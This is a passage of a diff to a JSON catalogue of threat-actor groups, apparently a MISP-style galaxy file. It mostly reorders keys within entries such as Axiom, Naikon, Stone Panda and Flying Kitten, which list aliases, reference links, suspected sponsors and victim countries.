+ "uuid": "9a683d9c-8f7d-43df-bba2-ad0ca71e277c",
+ "value": "Wekby"
},
{
+ "description": "TrendMicro described Tropic Trooper in a 2015 report as: 'Taiwan and the Philippines have become the targets of an ongoing campaign called Operation TropicTrooper. Active since 2012, the attackers behind the campaign haveset their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies.'",
"meta": {
- "synonyms": [
- "Operation Tropic Trooper"
- ],
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf"
+ ],
+ "synonyms": [
+ "Operation Tropic Trooper"
]
},
- "value": "Tropic Trooper",
- "description": "TrendMicro described Tropic Trooper in a 2015 report as: 'Taiwan and the Philippines have become the targets of an ongoing campaign called Operation TropicTrooper. Active since 2012, the attackers behind the campaign haveset their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies.'",
- "uuid": "4fd409a9-db86-46a5-bdf2-b6c8ee397a89"
+ "uuid": "4fd409a9-db86-46a5-bdf2-b6c8ee397a89",
+ "value": "Tropic Trooper"
},
{
+ "description": "The Winnti grouping of activity is large and may actually be a number of linked groups rather than a single discrete entity. Kaspersky describe Winnti as: 'The Winnti group has been attacking companies in the online video game industry since 2009 and is currently still active. The groups objectives are stealing digital certificates signed by legitimate software vendors in addition to intellectual property theft, including the source code of online game projects. The majority of the victims are from South East Asia.'",
"meta": {
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "United States",
+ "Netherlands",
+ "Italy",
+ "Japan",
+ "United Kingdom",
+ "Belgium",
+ "Russia",
+ "Indonesia",
+ "Germany",
+ "Switzerland",
+ "China"
+ ],
+ "cfr-target-category": [
+ "Government",
+ "Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "http://securelist.com/blog/research/57585/winnti-faq-more-than-just-a-game/",
+ "http://williamshowalter.com/a-universal-windows-bootkit/",
+ "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp",
+ "https://www.cfr.org/interactive/cyber-operations/axiom"
+ ],
"synonyms": [
"Winnti Group",
"Tailgater Team",
@@ -442,40 +481,29 @@
"Deputy Dog",
"Wicked Panda",
"Barium"
- ],
- "country": "CN",
- "refs": [
- "http://securelist.com/blog/research/57585/winnti-faq-more-than-just-a-game/",
- "http://williamshowalter.com/a-universal-windows-bootkit/",
- "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp",
- "https://www.cfr.org/interactive/cyber-operations/axiom"
- ],
- "cfr-suspected-victims": [
- "United States",
- "Netherlands",
- "Italy",
- "Japan",
- "United Kingdom",
- "Belgium",
- "Russia",
- "Indonesia",
- "Germany",
- "Switzerland",
- "China"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Government",
- "Private sector"
]
},
- "value": "Axiom",
- "description": "The Winnti grouping of activity is large and may actually be a number of linked groups rather than a single discrete entity. Kaspersky describe Winnti as: 'The Winnti group has been attacking companies in the online video game industry since 2009 and is currently still active. The groups objectives are stealing digital certificates signed by legitimate software vendors in addition to intellectual property theft, including the source code of online game projects. The majority of the victims are from South East Asia.'",
- "uuid": "24110866-cb22-4c85-a7d2-0413e126694b"
+ "uuid": "24110866-cb22-4c85-a7d2-0413e126694b",
+ "value": "Axiom"
},
{
+ "description": "Adversary group targeting financial, technology, non-profit organisations.",
"meta": {
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "United States"
+ ],
+ "cfr-target-category": [
+ "Private sector",
+ "Military"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "http://cybercampaigns.net/wp-content/uploads/2013/06/Deep-Panda.pdf",
+ "http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf",
+ "https://www.cfr.org/interactive/cyber-operations/deep-panda"
+ ],
"synonyms": [
"Deep Panda",
"WebMasters",
@@ -485,44 +513,15 @@
"Group 13",
"PinkPanther",
"Sh3llCr3w"
- ],
- "country": "CN",
- "refs": [
- "http://cybercampaigns.net/wp-content/uploads/2013/06/Deep-Panda.pdf",
- "http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf",
- "https://www.cfr.org/interactive/cyber-operations/deep-panda"
- ],
- "cfr-suspected-victims": [
- "United States"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Private sector",
- "Military"
]
},
- "description": "Adversary group targeting financial, technology, non-profit organisations.",
- "value": "Shell Crew",
- "uuid": "066d25c1-71bd-4bd4-8ca7-edbba00063f4"
+ "uuid": "066d25c1-71bd-4bd4-8ca7-edbba00063f4",
+ "value": "Shell Crew"
},
{
+ "description": "Kaspersky described Naikon in a 2015 report as: 'The Naikon group is mostly active in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way.'",
"meta": {
- "synonyms": [
- "PLA Unit 78020",
- "APT 30",
- "APT30",
- "Override Panda",
- "Camerashy",
- "APT.Naikon",
- "Lotus Panda"
- ],
- "country": "CN",
- "refs": [
- "https://securelist.com/analysis/publications/69953/the-naikon-apt/",
- "http://www.fireeye.com/blog/technical/malware-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html",
- "https://www.cfr.org/interactive/cyber-operations/apt-30"
- ],
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"India",
"Saudi Arabia",
@@ -539,30 +538,33 @@
"Indonesia",
"Laos"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://securelist.com/analysis/publications/69953/the-naikon-apt/",
+ "http://www.fireeye.com/blog/technical/malware-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html",
+ "https://www.cfr.org/interactive/cyber-operations/apt-30"
+ ],
+ "synonyms": [
+ "PLA Unit 78020",
+ "APT 30",
+ "APT30",
+ "Override Panda",
+ "Camerashy",
+ "APT.Naikon",
+ "Lotus Panda"
]
},
- "value": "Naikon",
- "description": "Kaspersky described Naikon in a 2015 report as: 'The Naikon group is mostly active in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way.'",
- "uuid": "2f1fd017-9df6-4759-91fb-e7039609b5ff"
+ "uuid": "2f1fd017-9df6-4759-91fb-e7039609b5ff",
+ "value": "Naikon"
},
{
"meta": {
- "synonyms": [
- "Spring Dragon",
- "ST Group",
- "Eslie"
- ],
- "country": "CN",
- "refs": [
- "https://securelist.com/blog/research/70726/the-spring-dragon-apt/",
- "https://securelist.com/spring-dragon-updated-activity/79067/",
- "https://www.cfr.org/interactive/cyber-operations/lotus-blossom"
- ],
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"Japan",
"Philippines",
@@ -571,65 +573,57 @@
"Taiwan",
"Vietnam"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Military",
"Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://securelist.com/blog/research/70726/the-spring-dragon-apt/",
+ "https://securelist.com/spring-dragon-updated-activity/79067/",
+ "https://www.cfr.org/interactive/cyber-operations/lotus-blossom"
+ ],
+ "synonyms": [
+ "Spring Dragon",
+ "ST Group",
+ "Eslie"
]
},
- "value": "Lotus Blossom",
- "uuid": "32fafa69-fe3c-49db-afd4-aac2664bcf0d"
+ "uuid": "32fafa69-fe3c-49db-afd4-aac2664bcf0d",
+ "value": "Lotus Blossom"
},
{
"meta": {
- "synonyms": [
- "Elise"
- ],
"country": "CN",
"refs": [
"http://www.crowdstrike.com/blog/rhetoric-foreshadows-cyber-activity-in-the-south-china-sea/"
+ ],
+ "synonyms": [
+ "Elise"
]
},
- "value": "Lotus Panda",
- "uuid": "5e0a7cf2-6107-4d5f-9dd0-9df38b1fcba8"
+ "uuid": "5e0a7cf2-6107-4d5f-9dd0-9df38b1fcba8",
+ "value": "Lotus Panda"
},
{
"meta": {
- "synonyms": [
- "Black Vine",
- "TEMP.Avengers"
- ],
"country": "CN",
"refs": [
"http://www.crowdstrike.com/blog/cyber-deterrence-in-action-a-story-of-one-long-hurricane-panda-campaign/"
+ ],
+ "synonyms": [
+ "Black Vine",
+ "TEMP.Avengers"
]
},
- "value": "Hurricane Panda",
- "uuid": "0286e80e-b0ed-464f-ad62-beec8536d0cb"
+ "uuid": "0286e80e-b0ed-464f-ad62-beec8536d0cb",
+ "value": "Hurricane Panda"
},
{
+ "description": "A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.",
"meta": {
- "synonyms": [
- "TG-3390",
- "APT 27",
- "TEMP.Hippo",
- "Group 35",
- "Bronze Union",
- "ZipToken",
- "HIPPOTeam",
- "APT27",
- "Operation Iron Tiger",
- "Iron Tiger APT"
- ],
- "country": "CN",
- "refs": [
- "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
- "http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/",
- "https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/",
- "https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/",
- "https://www.cfr.org/interactive/cyber-operations/iron-tiger"
- ],
+ "cfr-suspected-state-sponsor": "Unknown",
"cfr-suspected-victims": [
"United States",
"Japan",
@@ -644,37 +638,38 @@
"Russia",
"Iran"
],
- "cfr-suspected-state-sponsor": "Unknown",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
+ "http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/",
+ "https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/",
+ "https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/",
+ "https://www.cfr.org/interactive/cyber-operations/iron-tiger"
+ ],
+ "synonyms": [
+ "TG-3390",
+ "APT 27",
+ "TEMP.Hippo",
+ "Group 35",
+ "Bronze Union",
+ "ZipToken",
+ "HIPPOTeam",
+ "APT27",
+ "Operation Iron Tiger",
+ "Iron Tiger APT"
]
},
- "description": "A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.",
- "value": "Emissary Panda",
- "uuid": "834e0acd-d92a-4e38-bb14-dc4159d7cb32"
+ "uuid": "834e0acd-d92a-4e38-bb14-dc4159d7cb32",
+ "value": "Emissary Panda"
},
{
"meta": {
- "synonyms": [
- "APT10",
- "APT 10",
- "MenuPass",
- "happyyongzi",
- "POTASSIUM",
- "DustStorm",
- "Red Apollo",
- "CVNX",
- "HOGFISH",
- "Cloud Hopper",
- "Stone Panda"
- ],
- "country": "CN",
- "refs": [
- "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/",
- "https://www.cfr.org/interactive/cyber-operations/apt-10"
- ],
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"Japan",
"India",
@@ -692,43 +687,53 @@
"Switzerland",
"Norway"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Private sector",
"Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/",
+ "https://www.cfr.org/interactive/cyber-operations/apt-10"
+ ],
+ "synonyms": [
+ "APT10",
+ "APT 10",
+ "MenuPass",
+ "happyyongzi",
+ "POTASSIUM",
+ "DustStorm",
+ "Red Apollo",
+ "CVNX",
+ "HOGFISH",
+ "Cloud Hopper",
+ "Stone Panda"
]
},
- "value": "Stone Panda",
- "uuid": "56b37b05-72e7-4a89-ba8a-61ce45269a8c"
+ "uuid": "56b37b05-72e7-4a89-ba8a-61ce45269a8c",
+ "value": "Stone Panda"
},
{
"meta": {
+ "country": "CN",
+ "refs": [
+ "https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393/"
+ ],
"synonyms": [
"APT 9",
"Flowerlady/Flowershow",
"Flowerlady",
"Flowershow"
- ],
- "country": "CN",
- "refs": [
- "https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393/"
]
},
- "value": "Nightshade Panda",
- "uuid": "401dd2c9-bd4f-4814-bb87-701e38f18d45"
+ "uuid": "401dd2c9-bd4f-4814-bb87-701e38f18d45",
+ "value": "Nightshade Panda"
},
{
+ "description": "This threat actor uses spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the United States. It also seems to have targeted the APT 30. Possibly uses the same infrastructure as Mirage",
"meta": {
- "synonyms": [
- "Goblin Panda",
- "Cycldek"
- ],
- "country": "CN",
- "refs": [
- "https://securelist.com/analysis/publications/69567/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/",
- "https://www.cfr.org/interactive/cyber-operations/hellsing"
- ],
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"Malaysia",
"Indonesia",
@@ -736,15 +741,22 @@
"United States",
"India"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://securelist.com/analysis/publications/69567/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/",
+ "https://www.cfr.org/interactive/cyber-operations/hellsing"
+ ],
+ "synonyms": [
+ "Goblin Panda",
+ "Cycldek"
]
},
- "value": "Hellsing",
- "description": "This threat actor uses spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the United States. It also seems to have targeted the APT 30. Possibly uses the same infrastructure as Mirage",
- "uuid": "af482dde-9e47-48d5-9cb2-cf8f6d6303d3"
+ "uuid": "af482dde-9e47-48d5-9cb2-cf8f6d6303d3",
+ "value": "Hellsing"
},
{
"meta": {
@@ -753,11 +765,29 @@
"https://kc.mcafee.com/corporate/index?page=content&id=KB71150"
]
},
- "value": "Night Dragon",
- "uuid": "b3714d59-b61e-4713-903a-9b4f04ae7f3d"
+ "uuid": "b3714d59-b61e-4713-903a-9b4f04ae7f3d",
+ "value": "Night Dragon"
},
{
+ "description": "This threat actor uses phishing techniques to compromise the networks of foreign ministries of European countries for espionage purposes.",
"meta": {
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "European Union",
+ "India",
+ "United Kingdom"
+ ],
+ "cfr-target-category": [
+ "Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html",
+ "http://arstechnica.com/security/2015/04/elite-cyber-crime-group-strikes-back-after-attack-by-rival-apt-gang/",
+ "https://github.com/nccgroup/Royal_APT",
+ "https://www.cfr.org/interactive/cyber-operations/mirage"
+ ],
"synonyms": [
"Vixen Panda",
"Ke3Chang",
@@ -769,43 +799,15 @@
"Lurid",
"Social Network Team",
"Royal APT"
- ],
- "country": "CN",
- "refs": [
- "https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html",
- "http://arstechnica.com/security/2015/04/elite-cyber-crime-group-strikes-back-after-attack-by-rival-apt-gang/",
- "https://github.com/nccgroup/Royal_APT",
- "https://www.cfr.org/interactive/cyber-operations/mirage"
- ],
- "cfr-suspected-victims": [
- "European Union",
- "India",
- "United Kingdom"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Government"
]
},
- "value": "Mirage",
- "description": "This threat actor uses phishing techniques to compromise the networks of foreign ministries of European countries for espionage purposes.",
- "uuid": "3501fbf2-098f-47e7-be6a-6b0ff5742ce8"
+ "uuid": "3501fbf2-098f-47e7-be6a-6b0ff5742ce8",
+ "value": "Mirage"
},
{
+ "description": "PLA Navy",
"meta": {
- "country": "CN",
- "synonyms": [
- "APT14",
- "APT 14",
- "QAZTeam",
- "ALUMINUM"
- ],
- "refs": [
- "http://www.crowdstrike.com/blog/whois-anchor-panda/",
- "https://www.cfr.org/interactive/cyber-operations/anchor-panda"
- ],
- "motive": "Espionage",
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"United States",
"United Kingdom",
@@ -813,27 +815,30 @@
"Australia",
"Sweden"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Military"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "motive": "Espionage",
+ "refs": [
+ "http://www.crowdstrike.com/blog/whois-anchor-panda/",
+ "https://www.cfr.org/interactive/cyber-operations/anchor-panda"
+ ],
+ "synonyms": [
+ "APT14",
+ "APT 14",
+ "QAZTeam",
+ "ALUMINUM"
]
},
- "value": "Anchor Panda",
- "description": "PLA Navy",
- "uuid": "c82c904f-b3b4-40a2-bf0d-008912953104"
+ "uuid": "c82c904f-b3b4-40a2-bf0d-008912953104",
+ "value": "Anchor Panda"
},
{
"meta": {
- "country": "CN",
- "synonyms": [
- "APT 21"
- ],
- "refs": [
- "https://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/",
- "https://www.cfr.org/interactive/cyber-operations/nettraveler"
- ],
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"Mongolia",
"Kazakhstan",
@@ -851,28 +856,27 @@
"Canada",
"Morocco"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Military"
- ]
- },
- "value": "NetTraveler",
- "uuid": "b80f4788-ccb2-466d-ae16-b397159d907e"
- },
- {
- "meta": {
- "synonyms": [
- "IceFog",
- "Dagger Panda"
],
+ "cfr-type-of-incident": "Espionage",
"country": "CN",
"refs": [
- "https://securelist.com/blog/research/57331/the-icefog-apt-a-tale-of-cloak-and-three-daggers/",
- "https://securelist.com/blog/incidents/58209/the-icefog-apt-hits-us-targets-with-java-backdoor/",
- "https://www.cfr.org/interactive/cyber-operations/icefog"
+ "https://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/",
+ "https://www.cfr.org/interactive/cyber-operations/nettraveler"
],
+ "synonyms": [
+ "APT 21"
+ ]
+ },
+ "uuid": "b80f4788-ccb2-466d-ae16-b397159d907e",
+ "value": "NetTraveler"
+ },
+ {
+ "description": "Operate since at least 2011, from several locations in China, with members in Korea and Japan as well. Possibly linked to Onion Dog. This threat actor targets government institutions, military contractors, maritime and shipbuilding groups, telecommunications operators, and others, primarily in Japan and South Korea.",
+ "meta": {
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"South Korea",
"United States",
@@ -880,47 +884,52 @@
"Germany",
"China"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Military"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://securelist.com/blog/research/57331/the-icefog-apt-a-tale-of-cloak-and-three-daggers/",
+ "https://securelist.com/blog/incidents/58209/the-icefog-apt-hits-us-targets-with-java-backdoor/",
+ "https://www.cfr.org/interactive/cyber-operations/icefog"
+ ],
+ "synonyms": [
+ "IceFog",
+ "Dagger Panda"
]
},
- "value": "Ice Fog",
- "description": "Operate since at least 2011, from several locations in China, with members in Korea and Japan as well. Possibly linked to Onion Dog. This threat actor targets government institutions, military contractors, maritime and shipbuilding groups, telecommunications operators, and others, primarily in Japan and South Korea.",
- "uuid": "32c534b9-abec-4823-b223-a810f897b47b"
+ "uuid": "32c534b9-abec-4823-b223-a810f897b47b",
+ "value": "Ice Fog"
},
{
+ "description": "The Pitty Tiger group has been active since at least 2011. They have been seen using HeartBleed vulnerability in order to directly get valid credentials",
"meta": {
- "synonyms": [
- "PittyTiger",
- "MANGANESE"
- ],
"country": "CN",
"refs": [
"http://blog.airbuscybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2"
+ ],
+ "synonyms": [
+ "PittyTiger",
+ "MANGANESE"
]
},
- "value": "Pitty Panda",
- "description": "The Pitty Tiger group has been active since at least 2011. They have been seen using HeartBleed vulnerability in order to directly get valid credentials",
- "uuid": "4d37813c-b8e9-4e58-a758-03168d8aa189"
+ "uuid": "4d37813c-b8e9-4e58-a758-03168d8aa189",
+ "value": "Pitty Panda"
},
{
- "value": "Roaming Tiger",
"meta": {
"refs": [
"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/"
]
},
- "uuid": "1fb177c1-472a-4147-b7c4-b5269b11703d"
+ "uuid": "1fb177c1-472a-4147-b7c4-b5269b11703d",
+ "value": "Roaming Tiger"
},
{
"meta": {
- "country": "CN",
- "synonyms": [
- "Sneaky Panda"
- ],
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"United States",
"Canada",
@@ -933,18 +942,21 @@
"China",
"Denmark"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Private sector",
"Civil society"
],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
"refs": [
"https://www.cfr.org/interactive/cyber-operations/sneaky-panda"
+ ],
+ "synonyms": [
+ "Sneaky Panda"
]
},
- "value": "Beijing Group",
- "uuid": "da754aeb-a86d-4874-b388-d1d2028a56be"
+ "uuid": "da754aeb-a86d-4874-b388-d1d2028a56be",
+ "value": "Beijing Group"
},
{
"meta": {
@@ -953,21 +965,37 @@
"Shrouded Crossbow"
]
},
- "value": "Radio Panda",
- "uuid": "c92d7d31-cfd9-4309-b6c4-b7eb1e85fa7e"
+ "uuid": "c92d7d31-cfd9-4309-b6c4-b7eb1e85fa7e",
+ "value": "Radio Panda"
},
{
- "value": "APT.3102",
"meta": {
"country": "CN",
"refs": [
"http://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/"
]
},
- "uuid": "f33fd440-93ee-41e5-974a-be9343e18cdf"
+ "uuid": "f33fd440-93ee-41e5-974a-be9343e18cdf",
+ "value": "APT.3102"
},
{
"meta": {
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "United States",
+ "United Kingdom",
+ "Hong Kong"
+ ],
+ "cfr-target-category": [
+ "Private sector",
+ "Military"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "http://www.crowdstrike.com/blog/whois-samurai-panda/",
+ "https://www.cfr.org/interactive/cyber-operations/sykipot"
+ ],
"synonyms": [
"PLA Navy",
"APT4",
@@ -976,33 +1004,17 @@
"Getkys",
"SykipotGroup",
"Wkysol"
- ],
- "country": "CN",
- "refs": [
- "http://www.crowdstrike.com/blog/whois-samurai-panda/",
- "https://www.cfr.org/interactive/cyber-operations/sykipot"
- ],
- "cfr-suspected-victims": [
- "United States",
- "United Kingdom",
- "Hong Kong"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Private sector",
- "Military"
]
},
- "value": "Samurai Panda",
- "uuid": "2fb07fa4-0d7f-43c7-8ff4-b28404313fe7"
+ "uuid": "2fb07fa4-0d7f-43c7-8ff4-b28404313fe7",
+ "value": "Samurai Panda"
},
{
"meta": {
"country": "CN"
},
- "value": "Impersonating Panda",
- "uuid": "b56ecbda-6b2a-4aa9-b592-d9a0bc810ec1"
+ "uuid": "b56ecbda-6b2a-4aa9-b592-d9a0bc810ec1",
+ "value": "Impersonating Panda"
},
{
"meta": {
@@ -1018,49 +1030,49 @@
"TH3Bug"
]
},
- "value": "Violin Panda",
- "uuid": "8bcd855f-a4c1-453a-bede-ff36582f4f40"
+ "uuid": "8bcd855f-a4c1-453a-bede-ff36582f4f40",
+ "value": "Violin Panda"
},
{
+ "description": "A group targeting dissident groups in China and at the boundaries.",
"meta": {
"country": "CN",
"refs": [
"http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf"
]
},
- "description": "A group targeting dissident groups in China and at the boundaries.",
- "value": "Toxic Panda",
- "uuid": "1514546d-f6ea-4af3-bbea-24d6fd9e6761"
+ "uuid": "1514546d-f6ea-4af3-bbea-24d6fd9e6761",
+ "value": "Toxic Panda"
},
{
+ "description": "China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. This threat actor targets prodemocratic activists and organizations in Hong Kong, European and international financial institutions, and a U.S.-based think tank.",
"meta": {
- "synonyms": [
- "Admin338",
- "Team338",
- "MAGNESIUM",
- "admin@338"
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "Hong Kong",
+ "United States"
],
+ "cfr-target-category": [
+ "Government",
+ "Private sector",
+ "Civil society"
+ ],
+ "cfr-type-of-incident": "Espionage",
"country": "CN",
"refs": [
"https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html",
"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
"https://www.cfr.org/interactive/cyber-operations/admin338"
],
- "cfr-suspected-victims": [
- "Hong Kong",
- "United States"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Government",
- "Private sector",
- "Civil society"
+ "synonyms": [
+ "Admin338",
+ "Team338",
+ "MAGNESIUM",
+ "admin@338"
]
},
- "description": "China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. This threat actor targets prodemocratic activists and organizations in Hong Kong, European and international financial institutions, and a U.S.-based think tank.",
- "value": "Temper Panda",
- "uuid": "ac4bce1f-b3ec-4c44-bd36-b6cc986b319b"
+ "uuid": "ac4bce1f-b3ec-4c44-bd36-b6cc986b319b",
+ "value": "Temper Panda"
},
{
"meta": {
@@ -1074,12 +1086,28 @@
"KeyBoy"
]
},
- "value": "Pirate Panda",
- "uuid": "7f16d1f5-04ee-4d99-abf0-87e1f23f9fee"
+ "uuid": "7f16d1f5-04ee-4d99-abf0-87e1f23f9fee",
+ "value": "Pirate Panda"
},
{
+ "description": "Activity: defense and aerospace sectors, also interested in targeting entities in the oil/gas industry.",
"meta": {
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
+ "cfr-suspected-victims": [
+ "United States",
+ "Iranian internet activists"
+ ],
+ "cfr-target-category": [
+ "Military",
+ "Civil society"
+ ],
+ "cfr-type-of-incident": "Espionage",
"country": "IR",
+ "refs": [
+ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf",
+ "https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/",
+ "https://www.cfr.org/interactive/cyber-operations/saffron-rose"
+ ],
"synonyms": [
"SaffronRose",
"Saffron Rose",
@@ -1087,49 +1115,24 @@
"Ajax Security Team",
"Group 26",
"Sayad"
- ],
- "refs": [
- "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf",
- "https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/",
- "https://www.cfr.org/interactive/cyber-operations/saffron-rose"
- ],
- "cfr-suspected-victims": [
- "United States",
- "Iranian internet activists"
- ],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Military",
- "Civil society"
]
},
- "value": "Flying Kitten",
- "description": "Activity: defense and aerospace sectors, also interested in targeting entities in the oil/gas industry.",
- "uuid": "ba724df5-9aa0-45ca-8e0e-7101c208ae48",
"related": [
{
"dest-uuid": "f873db71-3d53-41d5-b141-530675ade27a",
- "type": "similar",
"tags": [
"estimative-language:likelihood-probability=\"very-likely\""
- ]
+ ],
+ "type": "similar"
}
- ]
+ ],
+ "uuid": "ba724df5-9aa0-45ca-8e0e-7101c208ae48",
+ "value": "Flying Kitten"
},
{
